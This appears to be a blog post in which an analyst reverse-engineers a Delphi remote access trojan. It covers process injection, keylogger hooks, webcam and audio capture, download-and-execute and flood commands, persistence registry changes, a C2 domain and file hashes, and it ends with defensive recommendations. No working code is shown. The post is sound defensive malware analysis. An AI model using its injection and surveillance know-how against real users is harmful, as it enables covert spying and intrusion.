2dc13

I wonder if this is some scheme to hide activity from the user. I’ve read about techniques involving replacing user privileges with administrator privileges so that the malware can more stealthily conduct activity that normally would appear in Event Viewer. This is going to be my working model for this, at least for now, as I haven’t really heard of malware that “de-escalates” privileges. After some more calls to the manipulations code we’ve already seen, sub 481628 finishes and we’re back up top at the Start function.

The next subroutine, 48DECC, conducts more transformations of data and floating point operations. 48DF40 is the next subroutine called, and we see “DCDATA” being MOVed into EDX shortly before this call, as well as having its own exception handling being set up right before that. The major things that 48DF40 do include:

– Sub 48DDC0 which involves finding/loading/locking/freeing the .rsrc section, as well as some of the previously seen floating point operations and token activity
– Sub 405864 which involves more of the same token activity and floating point operations

The next sub, 48DF40, contains many, many manipulations and floating point operations, as well as a possible exit path. I’m not interested in digging through what all of these are doing, as I want to keep moving on to what I consider to be the main malware operations. After that, sub 40F21C calls GetModuleFileNameA and also one of the manipulations subs from earlier. Next, 40A588 was not obviously interesting, though right after that we see an offset for “GENCODE” MOVed into EAX and then a call to 47DFE4.

Digging into the subroutine at 47DFE4, I continue to get bogged down in what appear to be endless manipulations of various registers and floating point operations. I’m not really trying to reverse this sample in the sense that I want to understand exactly how it works (how it is written / could be rewritten) but rather I want to disassemble it in order to try to glean the interesting parts of the malware functionality. It’s a good exercise in any event, as this is the largest sample I’ve ever tackled, but I think I’m going to change my tactics on this. I’m going to start looking at specific functions and strings of interest and then work around those in order to try to get to the interesting stuff faster.

Going in no particular order, I’m going to take a look at mutex creation in this malware. We saw earlier that a mutex DCPERSFWBP was created. This string appears in the malware and is referenced in a subroutine at 42F27C, which turns out to be a very interesting subroutine. We see some manipulations and floating point operations being done, and then we see some of these being done in the context of notepad.exe:

2dc14

The first reference we see to DCPERSFWBP follows this, right before a call to CreateProcessA:

2dc15

After that, we see something odd:

2dc16

We have a series of strings being used in conjunction with a call to a subroutine at 42EB10. This subroutine consists mainly of calls to an earlier privilege name searching subroutine, and then a call to VirtualAllocEx and WriteProcessMemory.

After that, we see calls to GetModuleHandle and GetProcAddress:

2dc17

This looks familiar and strange at the same time. This looks like the malware is getting a handle to a module and then calling GetProcAddress in order to get the address of a function to import. Maybe this is something to do with how Delphi handles this sort of task. I’m more used to seeing the LoadLibraryA/GetProcAddress combination.

Towards the end of this block of code is a call to a subroutine at 42EBD8. The main things happening in this thread are a couple of calls to subroutines that call VirtualAlloc and WriteProcessMemory, then a call to CreateRemoteThread:

2dc18

Another aspect of this malware that’s interesting to me is the surveillance capabilities, such as the keylogging and webcam functionality. There are some strings that lead me to these places, such as CTRLA and WEBCAMLIVE. I notice that there seems to be a common subroutine found whenever named functionality appears to be called – see a couple of screen shots below:

2dc19

As you can see, the offset for WEBCAMLIVE is MOVed into EDX right before 405974 is called. This code comes from an absolutely monumental subroutine beginning at 4850A8.

2dc20

Here we see this same subroutine being called, this time in the context of recording CTRL key combinations in the keylogger. This code comes from a subroutine beginning at 481A6C.

405974 is interesting because there doesn’t appear to be an obvious call to something that would cause the action to take place. 405974 begins with a few comparisons and tests:

2dc21

As you can see, there is a comparison of two registers (EAX and EDX) and then a TEST between the same two (though in different order). What we’re missing from this view is that prior to 405974 being called, a parameter is put in EAX while EDX receives an offset pointing to the action – here’s a view of this coming from 4850A8:

2dc22

Going back to 405974 now, we:
– compare the two – if equal (zero), we jump to a RETN
– test the two – again, if equal (zero) we jump to another test
– at this second test, we test to see if EAX is zero – and if so, jump to a couple lines of code where we compare the variable 4 bytes behind the current offset in EDX to what is in EAX, and then RETN
– if EAX is nonzero, then we test EDX to see if it’s nonzero (see below for more code), continuing with the code if it ISN’T zero (at which point, we execute a couple of lines to do a similar comparison of what lies in memory at EAX-4 bytes with EDX)

2dc23

– If we get through all of that, then we MOVe with zero extend what is in memory at the location specified at EAX into ECX, then subtract the lower byte of ECX from the contents of EDX, jumping to a RETN if this results in a nonzero result
– Next (see following image), assuming we didn’t jump to the RETN, we can see some manipulations taking place – contents of EBX get saved by PUSHing them onto the stack, then we see the contents of memory at EAX-4 bytes being MOVed into EBX. The contents of EDX-4 bytes are subtracted from EBX, then we get this new result PUSHed onto the stack also. What’s in ECX (which, remember, contained the contents of memory at EAX-4 bytes with the contents of EDX subtracted from the low byte at CL) has 0xFFFFFFFF added (with carry) to it. The result of this will be to take the contents of ECX, add 0xFFFFFFFF and the result of the carry to ECX. ECX and EBX get ANDed and then we see the contents of memory at EAX-4 bytes being subtracted from ECX, then ECX being subtracted from EAX, and then finally ECX being subtracted from EDX. Some sort of decoding?
– In the next block of code, the contents of the memory stored at the address resulting from the sum of ECX and EAX are MOVed into EBX. This then is XORed with the contents of memory located at the address resulting from the sum of ECX and EDX. This block finishes with a Jump if the zero flag is set.

2dc24

– If the jump is not taken, then we ADD 4 to ECX and loop (via the JS) if the sign flag gets set, otherwise we follow a branch where we POP EAX, add EAX to itself, and the POP EBX before continuing to the RETN. Stepping back through the code, the contents of EAX should be the last thing PUSHed onto the stack (which was the contents of EBX, which had the contents of EAX-4 bytes MOVed into it before having the contents of EDX-4 bytes subtracted from it) and the contents of EBX should be the next thing on the stack, which in this case would be the returned value from a successful call to recv in the WS2_32 library. In order to find this, I had to move up several levels in the code, and will put another screenshot below showing this.

2dc25

Screenshot showing the contents of EBX, code copied from subroutine 479E38:

2dc26

Coming back to 405974 now – there’s a final branch to look at, see below:

2dc27

– Once the loop is finished (and the JNZ is taken), then we enter a block where we bitscan forward (BSF) EBX with itself, and then shift the result to the right by three places. This new value in EBX gets added to ECX, and then we come to another conditional jump. If the jump IS taken (sign flag did NOT get set) then we head over to that branch already discussed where we have values being POPped into EAX and EBX. Otherwise, we go to the last block of code to look at in this section.
– If the sign flag does get set, then we move the contents of ECX+EAX into AL, compare AL with the contents of ECX+EDX, and then POP the last two values on the stack into EBX before returning, which in the process loses the first value that was left on there (which was the contents of EBX, which had the contents of EAX-4 bytes MOVed into it before having the contents of EDX-4 bytes subtracted from it) and leaving only the second thing PUSHed onto the stack in EBX (the returned value from a successful call to recv in the WS2_32 library, after the BSF and SHR have been executed on that value).
– Finally, keep in mind that the discussion of what is in EBX here is going to be dependent on exactly where this subroutine is called – in the example I gave above, this particular instance of using the code had to do with values returned from the call to recv, but this sub 405974 is called 357 times in the malware so obviously the values of the registers can vary widely from call to call.

So what does this entire mess actually mean? To be honest, I’m not entirely sure. Overall, we have an action being taken depending on whether or not a parameter being passed to the function matches a string stored at an offset. I’ve observed MANY different situations and offsets in this code. At first glance it’s almost as if the malware has a parameter passed to the function and then it checks against several different command names within that function. It sort of appears to be an inefficient way of doing this, since in some cases you almost cascade through a large number of code blocks checking along the way. It also looks like this is some sort of way to decode an address within the malware execution. There’s a .reloc table within the PE header, perhaps this is some way of finding functions within the code if the malware is able to ascertain where parts of itself have been relocated? I think I need to look at more samples of malware written in Delphi so that I could get a better idea of what is happening. Coming from a background of looking at samples written in other languages, this code doesn’t appear to really “do” anything so I suspect that this is just my lack of knowledge of Delphi showing through. At least you got treated to an excruciating walk through of some assembly code!

Moving on to other malware functionality, going through the functions imported in IDA I notice that there’s a subroutine beginning at 478968 that contains a call to CallNextHookEx. The malware could hook things for various reasons, but in checking this subroutine out we see that it begins with some code that includes the call to CallNextHookEx, and then a check is done to make sure that the hook code passed is nonzero:

2dc28

If it is nonzero, then we jump to a code section built around another call to CallNextHookEx, before doing some cleanup and returning. Otherwise, the code continues to an area containing a couple of large switch statements (overall a couple dozen cases, see graph below):

2dc29

Within here, we see code that calls GetKeyState and also branches that will allow the malware to add other information to the log file, such as the code that adds in statements about the clipboard status and other things:

2dc30

Here’s an example of one of the subordinate subroutines showing a reference to text that gets added to the log file for clarity:

2dc31

I went looking for a reference to UrlDownloadToFileA and found one in the giant subroutine 4850A8. Here’s a graph of that subroutine to give you some idea of the scale:

2dc32

Somewhere very close to the bottom one finds a reference to UrlDownloadToFileA. It’s not clear from the disassembly precisely what file is being downloaded, however we can see later that if the file is successfully downloaded that this status update is reported and also this file is executed after downloading:

2dc33

We can also see the reference to Bots here, suggesting this is part of the functionality offered via this malware. What I’ve also noticed in browsing through this very large sub is that there appears to be another subroutine that is similar in its role in the malware to 405974. You might recall that 405974 was the subroutine taken apart in some detail earlier, and this was one of the subroutines that would “do” whatever was being referred to in the malware according to a particular string. I’m noticing that this new subroutine at 405A84 also appears to fulfill a role like this (and happens to be referenced 296 times, a similar volume compared with 405974). I’m not going to go into the same amount of detail in looking at 405A84, but this new one seems simpler while also have some resemblance to 405974.

Further along in 4850A8, we see references to some of the bot-type functionality related to floods:

2dc34

Here’s a reference to remote shells:

2dc35

References to using the webcam and capturing audio:

2dc36
2dc37

There are many other references that suggest additional functionality such as getting torrents, sharing the host desktop, getting the victim’s clipboard contents, playing sounds, opening and closing the CDROM drive, opening Task Manager, and other things.

Here’s a little thing I noticed going through other areas of the code:

2dc38

I’ll keep this in mind for the signatures part of this analysis.

471E70 is where we see references to several registry changes, including ones related to persistence:

2dc39

In the subroutine at 483A04, the malware obtains and names the version of Windows it is running on:

2dc40

For some reason, the only version it explicitly names is Windows Server 2003 (in terms of referencing a string):

2dc41

I’m getting to the point where I need to move on from this sample, so let’s take a look at some of the stuff I dumped using Volatility. Starting with the second of the two iexpore.exe processes, there was code injected at two places. Looking at what I dumped from the first place (at 0x420000), I see what appears to be several hundred lines of a sled that all lead to a jump to 0x76AD9204, example below:

2dc42

I tried attaching a debugger to this process to see what was at this location, but none of them allowed me to (all of my versions of Olly and Immunity). The other dump from this same process, at location 0x5FFF0000, didn’t make any sense, so I’m not sure what this is.

Looking in the dumps from the notepad.exe process, two of the dumps contain code that I can’t make sense of (I wouldn’t call them spurious just because I don’t understand them…) but one of the injected areas does appear to contain code with many indirect function calls (found at 0x1A0000):

2dc43

I’m wrapping up this analysis at this point, as think I’ve gotten as many interesting things as possible out of this, particularly during the dynamic analysis in the previous post. I could spend a lot more time on this sample, and maybe down the road I should so I can get a better handle on Delphi. There are a few more things I’d look at if I had more time:

– Figure out what is preventing me from attaching to one of the injected iexplore.exe processes and further investigate the address I found in the injected code. One other thing of note related to this, is that while there is a TLS section (which as far as I know is normally associated with antidebugging techniques), IDA does not see an entry point associated with it.
– How the domain name is generated within the code, as I did not see any string looking like “max19916.hopto.org”
– The log file generation code (it appears to be pretty simple, but I would still be interested in seeing the specific code that does this)
– Where the code actually specifies the msdcsc.exe file name (again, I did not see a direct reference to this in the disassembly, nor for the directory name generation)
– Mutex name generation (we saw that there is a static piece that we did find, but there is also a dynamically generated piece)

References:
https://en.wikipedia.org/wiki/.bss

Findings and observations:
Remote access trojan coded in Delphi. Extensive functionality to monitor user activity (inputs, files, desktops, remote shells, audio/video equipment). This malware also appears to have capabilities more often related to botnets (such as DDoS capabilities).

Recommendations:
Avoid downloading files hosted publicly on DC hubs (or other P2P services). Don’t allow users access to these services without some vetting (e.g., an IT professional may need access to bittorrent in order to obtain Linux ISOs). Keep regular users from running in administrator mode, as there was a bit of lost functionality for the malware in terms of system control when run as a regular user. Blocking the domain max19916.hopto.org would be good, but given the number of shady sites hosted at hopto.org it might be best to simply block the entire domain.

Conclusion:
A very interesting sample, particularly around how it was being distributed. The extent to which one could invade a victim’s privacy with this malware was a bit disturbing.

Report:malexe005

Hashes:
MD5:be1fa25529308e909381777bcd7f0e92a
SHA1:9a3c2eefb12d527d2d7377a8c6f96854baf566c9
SHA256:d673493ef6288338bace20a165b32b7fb897400e943c7b313a0cef3d1cba22dd
ssdeep:12288:C9HMeUmcufrvA3kb445UEJ2jsWiD4EvFuu4cNgZhCiZKD/XdyF5:uiBIGkbxqEcjsWiDxguehC2SE